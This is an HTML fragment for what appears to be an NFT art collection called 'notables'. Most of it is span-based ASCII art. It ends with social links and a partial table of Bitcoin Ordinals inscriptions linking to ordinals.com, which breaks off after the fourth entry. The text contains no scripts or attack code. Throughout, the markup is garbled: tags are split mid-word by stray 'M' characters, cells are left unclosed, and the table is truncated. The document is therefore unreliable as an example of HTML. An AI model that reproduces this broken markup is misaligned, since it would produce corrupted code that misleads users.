&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&<M
/span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>(</span><span>&</span><span>&</span><span>%</span><span>#</span><span>&</span><span>%</span><span>#</span><span>#</span><span>#</span><span>%</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</sM
pan><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>@</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span>
<span>&</span><span>%</span><span>&</span><span>&</span><span>@</span><span>%</span><span>&</span><span>@</spM
an><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>@</spanM
><span>@</span><span>@</span><span>@</span><span>@</span><span>&</span><span>@</span><span>@</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</span><span>&</span><M
span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>&</span><span>%</span><span>&</span><span>%</span><span>(</span><span>#</span><span>%</span><span>#</span><span>%</span><span>/</span><span>%</span><span>%</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><spM
an>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>@</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>%</span><span>&</span><span>@</span>
<span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><spaM
n>&</span><span>&</span><span>@</span><span>&</span><span>@</span><span>&</span><span>&</span><span>@</span><span>&</span><span>@</span><span>&</span><span>@</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>@</span><span>@</span><span>@</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>@</span><span>@</span><span>@</span><span>M
&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>&</span><span>#<M
/span><span>*</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>#</span><span>%</span><span>&</span><span>%</span><span>%</span><span>&</span><span>@</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>#</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>.</span><span>&</span><span>&</span><span>&</sM
pan><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</span><span>@</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>@</span><span>@</span><span>&</span>
<span>%</span><span>&</span><span>&</span><span>%</span><span>&</spM
an><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>@</span><span>&</spanM
><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>(</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</span><span>@</span><span>&</span><span> </span><span> </span><span> </span><span> </span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>(</span><span>%</span><span>#</span><span>%</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>,</span><M
span> </span><span> </span><span> </span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span> </span><span> </span><span> </span><span> </span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>&</span><spM
an>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span>
<span>&</span><span>&</span><span>&</span><spaM
n>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span> </span><span> </span><span> </span><span>.</span><span> </span><span> </span><span> </span><span> </span><span> </span><span>M
%</span><span>&</span><span>&</span><span>&</span><span>(</span><span>(</span><span>(</span><span>(</span><span>/</span><span>/</span><span>/</span><span>(</span><span>(</span><span>(</span><span>(</span><span>&</span><span>*</span><span>.</span><span> </span><span> </span><span> </span><span> </span><span> </span><span>&</span><span>%</span><span>&</span><span> </span><span> </span><span> </span><span> </span><span> </span><span> </span><span> </span><span> </span><span> </span><span> </span><span> </span><span>@<M
/span><span>.</span><span>.</span><span> </span><span> </span><span> </span><span> </span><span> </span><span> </span><span> </span><span> </span><span>.</span><span>@</span><span>&</span><span>&</span><span>.</span><span> </span><span> </span><span>.</span><span>%</span><span>(</span><span>%</span><span> </span><span> </span><span> </span><span> </span><span> </span><span> </span><span> </span><span> </span><span>%</span><span>&</span><span>&</span><span>#</span><span> </span><span> </span><span> </span><span> </sM
pan><span> </span><span> </span><span> </span><span>&</span><span>%</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span>
<span>%</span><span>&</spM
an><span>%</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>*</span><span>@</span><span>@</span><span>&</span><span>&</span><span>@</span><span>@</span><span>@</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</span><span>&</span><span>@</span><span>&</span><span> </span><span> </span><span> </span><span> </span><span>@</span><span>&</span><span>%</span><span> </spanM
><span> </span><span> </span><span>,</span><span>&</span><span>&</span><span>(</span><span> </span><span>(</span><span> </span><span>(</span><span>(</span><span>.</span><span>.</span><span>.</span><span>,</span><span>(</span><span>&</span><span>&</span><span>@</span><span> </span><span> </span><span>.</span><span> </span><span>&</span><span>&</span><span>.</span><span> </span><span> </span><span> </span><span> </span><span>&</span><span>#</span><span>%</span><span>(</span><span> </span><span> </span><span> </span><M
span> </span><span>&</span><span>,</span><span> </span><span> </span><span> </span><span>.</span><span>&</span><span>@</span><span>&</span><span>.</span><span> </span><span> </span><span> </span><span> </span><span>@</span><span> </span><span> </span><span> </span><span> </span><span>%</span><span>#</span><span>,</span><span> </span><span> </span><span>&</span><span>&</span><span>&</span><span>@</span><span>*</span><span> </span><span> </span><span> </span><span>&</span><span> </span><span> </span><span> </span><spM
an> </span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>@</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span>
n>@</span><span>@</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span> </span><span> </span><span> </span><span> </span><span>@</span><span>&</span><span>M
#</span><span> </span><span> </span><span> </span><span>@</span><span>(</span><span>(</span><span>(</span><span>.</span><span>(</span><span>.</span><span>(</span><span>(</span><span>.</span><span>*</span><span>,</span><span>.</span><span>/</span><span>/</span><span>&</span><span>&</span><span> </span><span> </span><span> </span><span>/</span><span>&</span><span>@</span><span> </span><span> </span><span> </span><span> </span><span>.</span><span>%</span><span>%</span><span>&</span><span>&</span><span>.</span><span> <M
/span><span> </span><span> </span><span>&</span><span> </span><span> </span><span> </span><span> </span><span>&</span><span>&</span><span>&</span><span>&</span><span>*</span><span> </span><span> </span><span> </span><span> </span><span>&</span><span> </span><span> </span><span> </span><span> </span><span>&</span><span>.</span><span> </span><span> </span><span> </span><span> </span><span>.</span><span> </span><span> </span><span> </span><span> </span><span> </span><span>.</span><span>&</span><span>%</span><span>&</sM
pan><span>.</span><span> </span><span> </span><span> </span><span> </span><span> </span><span>,</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</spaM
<span>&</span><span>@</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>#</span><span>&</span><span>&</span><span>@</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span> </span><span> </span><span> </span><span>,</span><span>&</spanM
><span>&</span><span>&</span><span> </span><span> </span><span> </span><span>.</span><span>&</span><span>%</span><span>(</span><span>(</span><span>(</span><span>(</span><span>(</span><span>(</span><span>(</span><span>(</span><span>(</span><span>/</span><span>/</span><span>&</span><span>&</span><span>&</span><span> </span><span> </span><span>.</span><span> </span><span>,</span><span>%</span><span>&</span><span> </span><span> </span><span> </span><span> </span><span> </span><span>.</span><span> </span><span> </span><M
span> </span><span> </span><span> </span><span> </span><span>@</span><span>#</span><span> </span><span> </span><span> </span><span> </span><span> </span><span> </span><span> </span><span> </span><span> </span><span> </span><span>.</span><span>,</span><span>&</span><span> </span><span> </span><span> </span><span> </span><span>%</span><span>&</span><span> </span><span> </span><span> </span><span> </span><span>*</span><span>.</span><span> </span><span> </span><span> </span><span> </span><span>#</span><span>&</span><spM
an>%</span><span>.</span><span> </span><span> </span><span> </span><span>.</span><span> </span><span> </span><span> </span><span>@</span><span>&</span><span>@</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><spanM
>&</span><span>@</span><span>&</span>
<span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>@</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>*</span><span> </span><span> </span><span>M
 </span><span>&</span><span>&</span><span>&</span><span> </span><span> </span><span> </span><span>@</span><span>&</span><span>&</span><span>&</span><span>(</span><span>(</span><span>(</span><span>(</span><span>(</span><span>(</span><span>#</span><span>/</span><span>(</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>,</span><span> </span><span>.</span><span> </span><span>&</span><span>&</span><span>&</span><span>&</span><span>,</span><span> </span><span> </span><span> </span><span> <M
/span><span>.</span><span> </span><span> </span><span> </span><span>,</span><span>&</span><span> </span><span> </span><span> </span><span>*</span><span>.</span><span> </span><span> </span><span> </span><span> </span><span>,</span><span>#</span><span>%</span><span>#</span><span>#</span><span> </span><span> </span><span> </span><span> </span><span>%</span><span>%</span><span>%</span><span>&</span><span>(</span><span> </span><span> </span><span> </span><span> </span><span>*</span><span>&</span><span>&</span><span>@</sM
pan><span>&</span><span>&</span><span>%</span><span> </span><span> </span><span> </span><span> </span><span>*</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>@</span><span>&</spaM
n><span>&</span><span>@</span><span>&</span><span>&</span>
<span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>@</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</spanM
><span>&</span><span>@</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><M
span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>@</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>#</span><span>%</span><span>&</span><span>@</span><span>&</span><span>&</span><spM
an>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>@</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</span><span>@</span><span>@</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</span><spanM
>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span>
<span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>@</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>@</span><span>@</span><span>M
&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&<M
/span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>%</span><span>%</span><span>%</span><span>&</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>%</span><span>&</span><span>@</span><span>&</span><span>&</sM
pan><span>&</span><span>&</span><span>%</span><span>&</span><span>%</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</spaM
n><span>&</span><span>&</span><span>@</span><span>&</span><span>@</span><span>&</span><span>&</span>
<span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</span><span>&</spanM
><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>%</span><span>&</span><span>%</span><span>&</span><span>&</span><span>@</span><span>&</span><M
span>&</span><span>@</span><span>&</span><span>@</span><span>&</span><span>&</span><span>@</span><span>@</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>%</span><span>&</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>%</span><span>(</span><span>&</span><span>&</span><span>@</span><spM
an>&</span><span>&</span><span>&</span><span>#</span><span>#</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><spanM
>@</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span>
<span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</span><span>@</span><span>@</span><span>@</span><span>&</span><span>M
(</span><span>%</span><span>#</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&<M
/span><span>&</span><span>&</span><span>@</span><span>@</span><span>@</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>&</span><span>@</span><span>&</span><span>%</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</sM
pan><span>&</span><span>%</span><span>#</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</spaM
n><span>&</span><span>@</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>%</span><span>&</span>
<span>&</span><span>@</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>@</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</spanM
><span>%</span><span>%</span><span>%</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><M
span>&</span><span>&</span><span>@</span><span>@</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><spM
an>&</span><span>&</span><span>&</span><span>%</span><span>&</span><span>%</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>&</span><spanM
>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span>
<span>@</span><span>&</span><span>@</span><span>@</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>M
@</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&<M
/span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>@</sM
pan><span>#</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</spaM
n><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span>
<span>@</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</spanM
><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>@</span><span>@</span><span>@</span><span>&</span><span>@</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><M
span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>#</span><span>&</span><span>%</span><span>%</span><span>%</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</span><span>&</span><span>&</span><spM
an>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><spanM
>&</span><span>@</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>%</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>&</span><span>@</span>
<p><a href="https://notablesart.xyz/">https://notablesart.xyz/</a></p>
<p><a href="https://twitter.com/notablesart">https://twitter.com/notablesart</a></p>
<p><a href="https://discord.gg/notables">https://discord.gg/notables</a></p>
<table border="1" cellpadding="3" cellspacing="3" M
			<td style="height:120px">
			<td style="height:120px"><strong>name</strong></td>
			<td style="height:120px"><strong>#</strong></td>
			<td style="height:120px"><strong>link</strong></td>
			<td style="height:120px">
			<p><strong>satoshi<br />
			timestamp</strong></p>
			<td style="height:120px">1</td>
			<td style="height:120px">verified</td>
			<td style="height:120px">64332</td>
			<td style="height:120px">
			<p><a href="https://ordinals.com/inscription/153b8bad087c6d67920be1c6fabae9565522ee4fae662744db76c36121ee3146i0" target="_blank">https://ordinals.com/inscription/153b8bad087c6d67920be1c6fabae9565522ee4fae662744db76c36121ee3146i0</a></p>
			<td style="height:120px">&nbsp;</td>
			<td style="height:120px">2</td>
			<td style="height:120px">ded</td>
			<td style="height:120px">64486</td>
			<td style="height:120px">
			<p><a href="https://ordinals.com/inscription/571f94f5735ac4857df23696e8c8M
2598a6c1a2d729e4acf8fb575cc8d66c37e8i0" target="_blank">https://ordinals.com/inscription/571f94f5735ac4857df23696e8c82598a6c1a2d729e4acf8fb575cc8d66c37e8i0</a></p>
			<td style="height:120px">&nbsp;</td>
			<td style="height:120px">3</td>
			<td style="height:120px">missing</td>
			<td style="height:120px">64548</td>
			<td style="height:120px">
			<p><a href="https://ordinals.com/inscription/278d313863a9c2c0b9d0185acd385f7776712bc0f0bf8b25841dd03dce4e8fcci0" target="_blank">https://ordinalsM
.com/inscription/278d313863a9c2c0b9d0185acd385f7776712bc0f0bf8b25841dd03dce4e8fcci0</a></p>
			<td style="height:120px">&nbsp;</td>
			<td style="height:120px">4</td>
